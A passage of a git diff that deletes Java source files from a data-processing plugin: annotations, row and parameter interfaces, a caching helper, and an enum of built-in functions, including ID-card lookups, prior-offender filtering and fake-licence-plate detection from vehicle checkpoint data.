a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Feature.java +++ /dev/null @@ -1,30 +0,0 @@ -package org.code.modules.plugins.annotation.function; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -@Retention(RetentionPolicy.RUNTIME) -@Target({ElementType.FIELD}) -public @interface Feature { - Feature.RefType refType() default Feature.RefType.aggregation; - - Feature.HandlerType handler() default Feature.HandlerType.HANDLER; - - public static enum RefType { - aggregation, - composite; - - private RefType() { - } - } - - public static enum HandlerType { - IGNORE, - HANDLER; - - private HandlerType() { - } - } -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Meta.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Meta.java deleted file mode 100644 index 7aefed2..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Meta.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.code.modules.plugins.annotation.function; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -@Retention(RetentionPolicy.RUNTIME) -@Target({ElementType.TYPE}) -public @interface Meta { -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Relation.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Relation.java deleted file mode 100644 index 0d89968..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Relation.java +++ /dev/null @@ -1,15 +0,0 @@ -package org.code.modules.plugins.annotation.function; - -public @interface Relation { - String relationName(); - - Relation.RefType refType() default Relation.RefType.aggregation; - - public static enum RefType { - aggregation, - composite; - - private RefType() { - } - } -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/data/RowData.java b/luqj-plugin/src/main/java/org/code/modules/plugins/data/RowData.java deleted file mode 100644 index 090a1c1..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/data/RowData.java +++ /dev/null @@ -1,110 +0,0 @@ -package org.code.modules.plugins.data; - - -import com.luqj.util.LinkedMultiValueMap; -import com.ruoyi.common.utils.StringUtils; -import org.code.modules.plugins.plugin.IIdentifierGenerator; -import org.code.modules.plugins.plugin.IRow; - -import java.util.List; -import java.util.Map; -import java.util.UUID; - - -/** - * 数据行 - * Created by chenzm on 2017/1/6. - */ -public class RowData extends LinkedMultiValueMap implements IRow { - - private static final String IS_END_ROW = "$D_IS_END_ROW"; - - private transient IIdentifierGenerator identifierGenerator = DEFAULT_GENERATOR; - - private boolean isLastRowForDataSet=false; - - private String rowId; - - private String sourceId; - - /** - * 默认的ID生成器 - */ - private transient static final IIdentifierGenerator DEFAULT_GENERATOR = new IIdentifierGenerator() { - @Override - public String generate(IRow row) { - return UUID.randomUUID().toString(); - } - }; - - public RowData() { - } - public RowData(Map> row){ - this.putAll(row); - } - - public RowData(IIdentifierGenerator generator) { - this.identifierGenerator = generator; - } - - public RowData(boolean isEndRow) { - this.set(IS_END_ROW, isEndRow); - } - - public void reset(Map> row) { - this.clear(); - this.putAll(row); - } - - @Override - public String rowId() { - if (StringUtils.isBlank(rowId)) { - if(identifierGenerator==null){ - this.rowId=StringUtils.uuid(); - }else{ - this.rowId=identifierGenerator.generate(this); - } - } - return this.rowId; - } - - /** - * 是否结束行 - * @return - */ - @Override - public boolean isEndRow() { - if(!this.containsKey(IS_END_ROW) || this.getFirst(IS_END_ROW) == null) { - return false; - } - return (Boolean) this.getFirst(IS_END_ROW); - } - - @Override - public boolean isLastRowForDataSet() { - return this.isLastRowForDataSet; - } - - @Override - public String getSourceId() { - - return this.sourceId; - } - - public void markLastRowForDataSet(){ - this.isLastRowForDataSet=true; - } - - @Override - public void setIdentifierGenerator(IIdentifierGenerator generator) { - this.identifierGenerator = generator; - } - - public void setEndRow(boolean endRow) { - this.set(IS_END_ROW, endRow); - } - - public IIdentifierGenerator getIdentifierGenerator() { - return identifierGenerator; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/FuncEnum.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/FuncEnum.java deleted file mode 100644 index 3777869..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/FuncEnum.java +++ /dev/null @@ -1,210 +0,0 @@ -package org.code.modules.plugins.function; - -import java.util.HashSet; -import java.util.Set; - -/** - * 内置函数枚举类型 - * - * @author chenzm - */ -public enum FuncEnum { - BAG("BAG", 0, "包函数对参数不进行任何的计算直接返回参数 (系统级函数,NULL-OBJECT模式)", "org.code.modules.plugins.function.method.BagFunc"), - - REVERSE_LONG_TO_DATE("REVERSE_LONG_TO_DATE", 0, "数字转时间格式", "com.code.std.function.method.datetime.ReverseLongToDateFunc"), - TO_DATE("CHAR_TO_DATE", 0, "字符串转时间格式", "com.code.std.function.method.datetime.ToDateFunc"), - TO_CHAR("DATE_TO_CHAR", 0, "时间转字符串格式", "com.code.std.function.method.datetime.ToCharFunc"), - SYS_TIME("SYS_TIME", 0, "获取系统时间", "com.code.std.function.method.datetime.SysTimeFunc"), - MILLISECONDS("MILLISECONDS", 0, "获取毫秒数", "com.code.std.function.method.datetime.MilliSeconds"), - DATE_ADD("DATE_ADD", 0, "时间添加函数", "com.code.std.function.method.date.AddDayFunc"), - - - MAX("MAX", 0, "从一组数字中返回最大值", "com.code.std.function.method.mathematical.MaxFunc"), - MIN("MIN", 0, "从一组数字中返回最小值", "com.code.std.function.method.mathematical.MinFunc"), - AVG("AVG", 0, "从一组数字获取平均值", "com.code.std.function.method.mathematical.AvgFunc"), - SUM("SUM", 0, "一组数字的总和", "com.code.std.function.method.mathematical.SumFunc"), - CHAR_TO_NUMBER("CHAR_TO_NUMBER", 0, "文本转成数字", "com.code.std.function.method.mathematical.ToNumberFunc"), - NUMBER_TO_CHAR("NUMBER_TO_CHAR", 0, "数字转成文本", "com.code.std.function.method.text.ToCharFunc"), - POW("POW", 0, "求平方数", "com.code.std.function.method.mathematical.PowFunc"), - - RAVG("RAVG", 1, "数据集间求平均值", "com.code.std.function.method.mathematical.dataset.RAvgFunc"), - RMASS("RMASS", 1, "数据集间求众数", "com.code.std.function.method.mathematical.dataset.RMassFunc"), - RMAX("RMAX", 1, "数据集间求最大值", "com.code.std.function.method.mathematical.dataset.RMaxFunc"), - RMAX_LENGTH("RMAX_LENGTH", 1, "数据集间求最长值", "com.code.std.function.method.mathematical.dataset.RMaxLengthFunc"), - RMAX_MIDVALUE("RMAX_MIDVALUE", 1, "数据集间求中位数", "com.code.std.function.method.mathematical.dataset.RMidValueFunc"), - RMIN("RMIN", 1, "数据集间求最小值", "com.code.std.function.method.mathematical.dataset.RMinFunc"), - RMIN_LENGTH("RMIN_LENGTH", 1, "数据集间求最短值", "com.code.std.function.method.mathematical.dataset.RMinLengthFunc"), - RQTR3("RQTR3", 1, "数据集间求四分位数Q3", "com.code.std.function.method.mathematical.dataset.RQtr3Func"), - RQTR("RQTR", 1, "数据集间求四分位数Q1", "com.code.std.function.method.mathematical.dataset.RQtrFunc"), - RQTR_MINUS("RQTR_MINUS", 1, "数据集间求四分位数极差", "com.code.std.function.method.mathematical.dataset.RQtrMinusFunc"), - RRANGE("RRANGE", 1, "数据集间求极差", "com.code.std.function.method.mathematical.dataset.RRangeFunc"), - RSTDDEV("RSTDDEV", 1, "数据集间求标准差", "com.code.std.function.method.mathematical.dataset.RStdDevFunc"), - RVALUERANGE("RVALUERANGE", 1, "数据集间求值分布", "com.code.std.function.method.mathematical.dataset.RValueRangeFunc"), - RVARIANCE("RVARIANCE", 1, "数据集间求方差", "com.code.std.function.method.mathematical.dataset.RVarianceFunc"), - RVALSTA("RVALSTA", 1, "值统计", "com.code.std.function.method.mathematical.dataset.RValStaFunc"), - RSUM("RSUM", 1, "数据集间求和", "com.code.std.function.method.mathematical.dataset.RSumFunc"), - - - TRUE("TRUE", 0, "返回常数true值", "com.code.std.function.method.logical.TrueFunc"), - OR("OR", 0, "计算一组布尔参数的逻辑或", "com.code.std.function.method.logical.OrFunc"), - AND("AND", 0, "计算一组布尔参数的逻辑 与", "com.code.std.function.method.logical.AndFunc"), - IF("IF", 0, "返回两个值中的一个,根据条件", "com.code.std.function.method.logical.IfFunc"), - EQ("EQ", 0, "两个数值参数间的逻辑比较是否相等", "com.code.std.function.method.logical.EqFunc"), - GT("GT", 0, "两个数值参数间的逻辑比较是否大于", "com.code.std.function.method.logical.GtFunc"), - GTE("GTE", 0, "两个数值参数间的逻辑比较是否大于等于", "com.code.std.function.method.logical.GteFunc"), - LT("LT", 0, "两个数值参数间的逻辑比较是否小于", "com.code.std.function.method.logical.LtFunc"), - LTE("LTE", 0, "两个数值参数间的逻辑比较是否小于等于", "com.code.std.function.method.logical.LteFunc"), - NOT("NOT", 0, "计算逻辑NOT", "com.code.std.function.method.logical.NotFunc"), - XOR("XOR", 0, "计算逻辑XOR", "com.code.std.function.method.logical.XorFunc"), - MATCH("MATCH", 0, "逻辑匹配函数", "com.code.std.function.method.logical.MatchFunc"), - - CHOOSE("CHOOSE", 0, "使用索引从值的列表返回一个值", "com.code.std.function.method.information.ChooseFunc"), - ISBLANK("ISBLANK", 0, "如果参数值为空返回TRUE,否则返回FALSE", "com.code.std.function.method.information.IsBlankFunc"), - ISNUMBER("ISNUMBER", 0, "如果参数值为数字返回TRUE,否则返回FALSE", "com.code.std.function.method.information.IsNumberFunc"), - ISTEXT("ISTEXT", 0, "如果参数值为文本返回TRUE,否则返回FALSE", "com.code.std.function.method.information.IsTextFunc"), - - TEXT("TEXT", 0, "返回转换为文本的值", "com.code.std.function.method.text.TextFunc"), - TRIM("TRIM", 0, "返回文本去空后的值", "com.code.std.function.method.text.TrimFunc"), - UPPER("UPPER", 0, "小写字母转换为大写字母", "com.code.std.function.method.text.UpperFunc"), - LEN("LEN", 0, "返回文本的长度", "com.code.std.function.method.text.LenFunc"), - LOWER("LOWER", 0, "大写字母转换为小写字母", "com.code.std.function.method.text.LowerFunc"), - SUBSTRING("SUBSTRING", 0, "文本截取函数", "com.code.std.function.method.text.SubstringFunc"), - REPLACE("REPLACE", 0, "文本替换函数", "com.code.std.function.method.text.ReplaceFunc"), - EXACT("EXACT", 0, "比较两个字符串是否一致", "com.code.std.function.method.text.ExactFunc"), - FIND("FIND", 0, "查找字符串的位置", "com.code.std.function.method.text.FindFunc"), - CONCAT("CONCAT", 0, "字符串连接函数", "com.code.std.function.method.text.ConcatFunc"), - CONCAT_MULTI("CONCAT_MULTI", 0, "字符串连接函数(可变长参数)", "com.code.std.function.method.text.ConcatFunc"), - SPLITROW("SPLITROW", 0, "一行拆分成多行", "com.code.std.function.method.text.SplitIntoMultiRows"), - JSONPARSE("JSONPARSE", 0, "JSON解析", "com.code.std.function.method.text.JsonParseFunc"), - SPLIT("SPLIT", 0, "文本切分", "com.code.std.function.method.text.SplitFunc"), - INCLUDE("INCLUDE", 0, "包含函数", "com.code.std.function.method.text.IncludeFunc"), - - DECODE("DECODE", 0, "decode函数解析", "com.code.std.function.method.text.DecodeFunc"), - TO_ARRAY("TO_ARRAY", 0, "字符串转数组", "com.code.std.function.method.text.ToArrayFunc"), - - BIZ_IDCARD_GENDER("BIZ_IDCARD_GENDER", 0, "身份证查询性别函数", "com.code.std.function.method.biz.IdCardGenderFunc"), - BIZ_IDCARD_BIRTH("BIZ_IDCARD_BIRTH", 0, "身份证查询日期函数", "com.code.std.function.method.biz.IdCardBirthDay"), - BIZ_KEYPERSON_FILTER("BIZ_KEYPERSON_FILTER", 0, "前科人员筛选函数", "com.code.std.function.method.biz.KeyPersonFilterFunc"), - BIZ_MERGE_KEYPERSON("BIZ_MERGE_KEYPERSON", 0, "前科人员合并函数", "com.code.std.function.method.biz.MergeKeyPersonFunc"), - - DATA_COMPARISON("DATA_COMPARISON", 0, "数据比对", ""), - REDIS_DELETE("REDIS_DELETE", 0, "redis数据删除", ""), - REDIS_VALUES("REDIS_VALUES", 0, "redis取值", ""), - QUERY_CACHE("QUERY_CACHE", 0, "redis缓存查询", ""), - - - BERNOULLI_SAMPLER("BERNOULLI_SAMPLER", 0, "伯努利数据抽样", ""), - POISSON_SAMPLER("POISSON_SAMPLER", 0, "泊松数据抽样", ""), - RESERVOIR_SAMPLER("RESERVOIR_SAMPLER", 0, "水塘抽样", " "), - - - TEMPLATE_FUNCTION_A("TEMPLATE_FUNCTION_A", 0, "空模板", "com.code.std.function.method.biz.TemplateFunctionA"), - - REDUCE_BY_COUNT("REDUCE_BY_COUNT", 0, "reduce统计函数", "com.code.std.function.method.reduce.CountNumberFunc"), - - PLATENO_FILTER("PLATENO_FILTER", 0, "过滤数据", "com.code.std.function.method.fatePlate.PlateNOFilterFunc"), - PLATENO_TEST("PLATENO_TEST", 0, "车牌测试数据", "com.code.std.function.method.fatePlate.PlateNOTestFunc"), - - //fakePlate - STR_CONTAINS("STR_CONTAINS", 0, "判断是否包含字符串", "com.code.std.function.method.fatePlate.StrContainsFunc"), - UTC_DATE_PARSE("UTC_DATE_PARSE", 0, "转换东八区时间", "com.code.std.function.method.fatePlate.UTCDateParseFunc"), - DISTINCT_SORT_VEHICLE("DISTINCT_SORT_VEHICLE", 0, "去重并排序卡口", "com.code.std.function.method.fatePlate.DistinctSortVehicleFunc"), - SPLIT_VEHICLE_TUPPLE("SPLIT_VEHICLE_TUPPLE", 0, "拆分卡口元组", "com.code.std.function.method.fatePlate.SplitVehicleTuppleFunc"), - SUSPECT_FAKE("SUSPECT_FAKE", 0, "嫌疑车查找", "com.code.std.function.method.fatePlate.SuspectFakeFunc"), -// MINUTES_DIFF("MINUTES_DIFF", 0, "时间差,返回分钟", "com.code.std.function.method.fatePlate.MinutesDiffFunc"), - MINUTES_COMPARE("MINUTES_COMPARE", 0, "时间差(单位:分钟)和某一阈值的比较", "com.code.std.function.method.fatePlate.MinutesCompareFunc"), - NUM_KEY_SORT("NUM_KEY_SORT", 0, "针对数字类型列排序", "com.code.std.function.method.fatePlate.NumKeySortFunc"), - NUM_KEY_SORT_DISTINCT("NUM_KEY_SORT_DISTINCT", 0, "针对数字类型列排序,并去重", "com.code.std.function.method.fatePlate.NumKeySortDistinctFunc"), - SPLIT_TUPPLE("SPLIT_TUPPLE", 0, "划分二元组", "com.code.std.function.method.fatePlate.SplitTuppleFunc"), -// NUM_COMPARE("NUM_COMPARE", 0, "数值比较", "com.code.std.function.method.fatePlate.NumCompareFunc"), - MILLIS_TO_STRING("MILLIS_TO_STRING", 0, "时间戳转字符串", "com.code.std.function.method.fatePlate.MillisToString"), - STR_KEY_SORT("STR_KEY_SORT", 0, "针对字符串类型列排序", "com.code.std.function.method.sort.StrKeySortFunc"), - STR_KEY_SORT_DISTINCT("STR_KEY_SORT_DISTINCT", 0, "针对字符串类型列排序,并去重", "com.code.std.function.method.sort.StrKeySortDistinctFunc"), - DAYS_COMPARE("DAYS_COMPARE", 0, "时间差(单位:天数)和某一阈值比较", "com.code.std.function.method.date.DaysCompareFunc"), - DAYS_DIFF("DAYS_DIFF", 0, "时间差,返回天数", "com.code.std.function.method.date.DaysDiffFunc"), - HOURS_COMPARE("HOURS_COMPARE", 0, "时间差(单位:小时)和某一阈值比较", "com.code.std.function.method.date.HoursCompareFunc"), - HOURS_DIFF("HOURS_DIFF", 0, "时间差,返回小时", "com.code.std.function.method.date.HoursDiffFunc"), - SECONDS_COMPARE("SECONDS_COMPARE", 0, "时间差(单位:秒)和某一阈值比较", "com.code.std.function.method.date.SecondsCompareFunc"), - SECONDS_DIFF("SECONDS_DIFF", 0, "时间差,返回秒", "com.code.std.function.method.date.SecondsDiffFunc"), - MD5("MD5", 0, "MD5加密", "com.code.std.function.method.encrypt.MD5Func"), - CEIL("CEIL", 0, "大于输入数的整数", "com.code.std.function.method.mathematical.CeilFunc"), -// FLOOR("FLOOR", 0, "不小于输入数的整数", "com.code.std.function.method.mathematical.FloorFunc"), -// ROUND("ROUND", 0, "四舍五入", "com.code.std.function.method.mathematical.RoundFunc"), - SYS_GUID("SYS_GUID", 0, "生成唯一主键,不传参默认生成32位,传入指定数字生成指定位数的主键", "com.code.std.function.method.encrypt.SysGUIDFunc"), - REDUCE_DISTINCT("REDUCE_DISTINCT",0,"数据去重","com.code.std.function.method.distinctSort.ReduceDistinctFunc"), - REDUCE_STR_KEY_ASC_DISTINCT("REDUCE_STR_KEY_ASC_DISTINCT",0,"字符串排序并去重","com.code.std.function.method.distinctSort.ReduceStrKeyAscDistinctFunc"), - REDUCE_NUM_KEY_ASC_DISTINCT("REDUCE_NUM_KEY_ASC_DISTINCT",0,"数字排序并去重","com.code.std.function.method.distinctSort.ReduceNumKeyAscDistinctFunc"), - REDUCE_STR_KEY_ASC("REDUCE_STR_KEY_ASC",0,"字符串排序","com.code.std.function.method.distinctSort.ReduceStrKeyAscFunc"), - REDUCE_NUM_KEY_ASC("REDUCE_NUM_KEY_ASC",0,"数字排序","com.code.std.function.method.distinctSort.ReduceNumKeyAscFunc"), - LONG_LAT_DISTANCE("LONG_LAT_DISTANCE",0,"计算经纬度","com.code.std.function.method.mathematical.LongLatDistanceFunc"), - CACHING_FAKE("CACHING_FAKE",0,"福州卡口对比函数","com.code.std.function.method.caching.CachingFakeFunc"), - - //异常处理类 - TRY_CATCH("TRY_CATCH", 0, "异常处理类", "com.code.std.function.method.exception.TryCatchFunc"), - - CACHING_APPLY("CACHING_APPLY", 0, "缓存迭代计算", "com.code.std.function.method.caching.CachingApply"), - - DATE_WINDOW_EXPAND("DATE_WINDOW_EXPAND", 0, "时间戳函数", "com.code.std.function.method.reduce.DateWindowExpandFunc"), - MERGE_VALUE("MERGE_VALUE", 0, "合并数据", "com.code.std.function.method.reduce.MergeValFunc"), - - REDUCE_MAP("REDUCE_MAP", 0, "REDUCE_MAP函数", "com.code.std.function.method.reduce.ReduceMapFunc"), - - FREQ_STA("FREQ_STA", 0, "今日频率统计与之前N天频率比较", "com.code.std.function.method.biz.FreqStaFunc"); - - String code; - String name; - int dataform; - String clazz; - - FuncEnum(String code, int dataform, String name, String clazz) { - this.code = code; - this.dataform = dataform; - this.name = name; - this.clazz = clazz; - } - - public String getCode() { - return code; - } - - public void setCode(String code) { - this.code = code; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public String getClazz() { - return clazz; - } - - public void setClazz(String clazz) { - this.clazz = clazz; - } - - public int getDataform() { - return dataform; - } - - public void setDataform(int dataform) { - this.dataform = dataform; - } - - - static Set funcSet = new HashSet(FuncEnum.values().length); - - public static Set funcSet() { - if (funcSet.size() > 0) { - return funcSet; - } - for (FuncEnum func : FuncEnum.values()) { - funcSet.add(func.getCode()); - } - return funcSet; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpression.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpression.java deleted file mode 100644 index 19c1316..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpression.java +++ /dev/null @@ -1,14 +0,0 @@ -package org.code.modules.plugins.function; - -/** - * 表达式接口 - * @author chenzm - */ -public interface IExpression { - /** - * 执行表达式 - * @param context - * @return - */ - public IParam execExpression(IExpressionContext context); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpressionContext.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpressionContext.java deleted file mode 100644 index c7a0a76..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpressionContext.java +++ /dev/null @@ -1,17 +0,0 @@ -package org.code.modules.plugins.function; - -import java.util.Set; - -/** - * 表达式上下文 - * @author chenzm - */ -public interface IExpressionContext { - public Object getExpressionData(String key); - - public void setExpressionData(String key, Object obj); - - public void clear(); - - public Set keySet(); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpressionParse.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpressionParse.java deleted file mode 100644 index 3695e2e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IExpressionParse.java +++ /dev/null @@ -1,10 +0,0 @@ -package org.code.modules.plugins.function; - -public interface IExpressionParse { - /** - * 解析表达式 - * @param expression - * @return - */ - public IExpression parseExpression(String expression); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/IFunc.java deleted file mode 100644 index 1ea16ec..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IFunc.java +++ /dev/null @@ -1,14 +0,0 @@ -package org.code.modules.plugins.function; - -/** - * 函数 - * @author chenzm - */ -public interface IFunc { - /** - * 公式 - * @param args - * @return - */ - public IParam fx(IParam... args); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IIteratorWrap.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/IIteratorWrap.java deleted file mode 100644 index 3301e83..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IIteratorWrap.java +++ /dev/null @@ -1,9 +0,0 @@ -package org.code.modules.plugins.function; - -import java.util.Iterator; - -public interface IIteratorWrap extends Iterator { - public void reset(); - - public void finish(); -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IParam.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/IParam.java deleted file mode 100644 index 819d322..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/IParam.java +++ /dev/null @@ -1,22 +0,0 @@ -package org.code.modules.plugins.function; - - -/** - * 参数接口 - * @author chenzm - */ -public interface IParam{ - public void setVal(Object val); - - /*public Object getVal(String paramName);*/ - - public Object getVal(); - - public String getParamName(); - - public Class getValType(); - - public int getPrecision(); - - public int getLength(); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncBean.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncBean.java deleted file mode 100644 index 3bcaca5..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncBean.java +++ /dev/null @@ -1,56 +0,0 @@ -package org.code.modules.plugins.function.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 函数注解 - * Created by chenzm on 2016/12/27. - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.TYPE) -public @interface FuncBean { - /** - * 函数英文名 - * @return - */ - String code(); - - /** - * 函数中文名 - * @return - */ - String name() default ""; - - /** - * 函数描述 - * @return - */ - String memo() ; - - /** - * 函数类全路径 - * @return - */ - String clazz() default ""; - - /** - * 分类目录 - * @return - */ - String classifyDir(); - - /** - * 函数类型 - * @return - */ - FuncTypeEnum funcType(); - - /** - * 函数例子 - * @return - */ - FuncExample[] examples() default {}; -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncExample.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncExample.java deleted file mode 100644 index 5c29dc8..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncExample.java +++ /dev/null @@ -1,24 +0,0 @@ -package org.code.modules.plugins.function.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 函数例子 - * Created by chenzm on 2017/11/24. - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.METHOD) -public @interface FuncExample { - String code() default ""; - - String name() default ""; - - String memo(); - - String input() default ""; - - String result() default ""; -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncMethod.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncMethod.java deleted file mode 100644 index 283d614..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncMethod.java +++ /dev/null @@ -1,25 +0,0 @@ -package org.code.modules.plugins.function.annotation; - - -import org.code.modules.plugins.types.TypeEnum; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 函数方法 - * Created by chenzm on 2017/11/24. - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.METHOD) -public @interface FuncMethod { - String code() default ""; - - String name() default ""; - - FuncParam outputParam() default @FuncParam(name = "返回值为VOID方法", valType = TypeEnum.String); - - FuncParam[] inputParams() default {}; -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncParam.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncParam.java deleted file mode 100644 index 7cb6ba0..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncParam.java +++ /dev/null @@ -1,65 +0,0 @@ -package org.code.modules.plugins.function.annotation; - - -import org.code.modules.plugins.types.TypeEnum; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 函数参数注解 - * Created by chenzm on 2016/12/27. - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.PARAMETER) -public @interface FuncParam { - /** - * 参数英文名 - * @return - */ - String code() default ""; - - /** - * 参数中文名 - * @return - */ - String name(); - - /** - * 值类型 - * @return - */ - TypeEnum valType() default TypeEnum.String; - - /** - * 值精度 - * @return - */ - int precision() default 0; - - /** - * 值长度 - * @return - */ - int length() default 0; - - /** - * 默认值 - * @return - */ - String defVal() default ""; - - /** - * 是否是Any - * @return - */ - boolean isAny() default false; - - /** - * 是否不为空 - * @return - */ - boolean isNotNull() default false; -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncTypeEnum.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncTypeEnum.java deleted file mode 100644 index 78ccc3f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/annotation/FuncTypeEnum.java +++ /dev/null @@ -1,49 +0,0 @@ -package org.code.modules.plugins.function.annotation; - -/** - * 函数类型枚举 - * Created by chenzm on 2017/11/23. - */ -public enum FuncTypeEnum { - NORMAL("NORMAL", "普通函数", "每次函数执行都返回数据"), - - AGGREGATION("AGGREGATION", "聚合函数", "按key汇集统计数据的结果"), - - FLAT_MAP("FLAT_MAP", "FLAT MAP函数", "FLAT MAP函数"); - - private String code; - - private String name; - - private String memo; - - FuncTypeEnum(String code, String name, String memo) { - this.code = code; - this.name = name; - this.memo = memo; - } - - public String getCode() { - return code; - } - - public void setCode(String code) { - this.code = code; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public String getMemo() { - return memo; - } - - public void setMemo(String memo) { - this.memo = memo; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/CachingTransException.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/CachingTransException.java deleted file mode 100644 index 22c6d74..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/CachingTransException.java +++ /dev/null @@ -1,25 +0,0 @@ -package org.code.modules.plugins.function.cache; - -/** - * Created by liwei on 2017/9/25. - */ -public class CachingTransException extends RuntimeException{ - public CachingTransException() { - } - - public CachingTransException(String message) { - super(message); - } - - public CachingTransException(String message, Throwable cause) { - super(message, cause); - } - - public CachingTransException(Throwable cause) { - super(cause); - } - - public CachingTransException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { - super(message, cause, enableSuppression, writableStackTrace); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/FreqSeriesRolling.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/FreqSeriesRolling.java deleted file mode 100644 index ff8050e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/FreqSeriesRolling.java +++ /dev/null @@ -1,112 +0,0 @@ -package org.code.modules.plugins.function.cache; - - - -import com.luqj.util.Validator; - -import java.util.ArrayList; -import java.util.LinkedHashMap; -import java.util.List; -import java.util.Map; - -/** - * Created by liwei on 2017/9/19. - */ - - -public class FreqSeriesRolling implements IRollingCaching{ - - private int windowsSize; - - private IListCaching caching; - - private IRollingDataFormat dataFormat; - - public FreqSeriesRolling(int windowsSize){ - this.windowsSize = windowsSize; - } - - - public APPLY_VAL rollingAfter(String key,VAL val, IRollingApply apply, boolean fullApply) throws CachingTransException{ - ICacheContainer.ICachingTransaction trans = null; - try{ - APPLY_VAL applyVal = null; - trans = caching.createTrans(); - trans.begin(key); - List queues = caching.getVal(new IListCaching.ListCacheKey(key),trans); - if(!fullApply || (fullApply && !Validator.ltLength(queues,windowsSize))){ - Map v = new LinkedHashMap<>(); - int i = 0; - for (String vk : queues){ - v.put(dataFormat.toVal(vk),dataFormat.toIDX(i)); - i++; - } - applyVal = apply.apply(key,v); - } - if(queues.size() >= windowsSize){ - caching.delFirst(key,false,trans); - } - List v = new ArrayList<>(); - v.add(dataFormat.fromVal(val)); - caching.set(new IListCaching.ListCacheKey(key, IListCaching.ListCacheKey.ListCacheKeyType.RIGHT),v,trans); - trans.commit(); - return applyVal; - }finally { - trans.end(); - } - - } - - public APPLY_VAL rollingBefore(String key, VAL val, IRollingApply apply, boolean fullApply) throws CachingTransException{ - ICacheContainer.ICachingTransaction trans = null; - try{ - APPLY_VAL applyVal = null; - trans = caching.createTrans(); - trans.begin(key); - List queues = caching.getVal(new IListCaching.ListCacheKey(key),trans); - - if(!fullApply || (fullApply && !Validator.ltLength(queues,windowsSize))){ - - queues.remove(0); - - queues.add(dataFormat.fromVal(val)); - - Map v = new LinkedHashMap<>(); - int 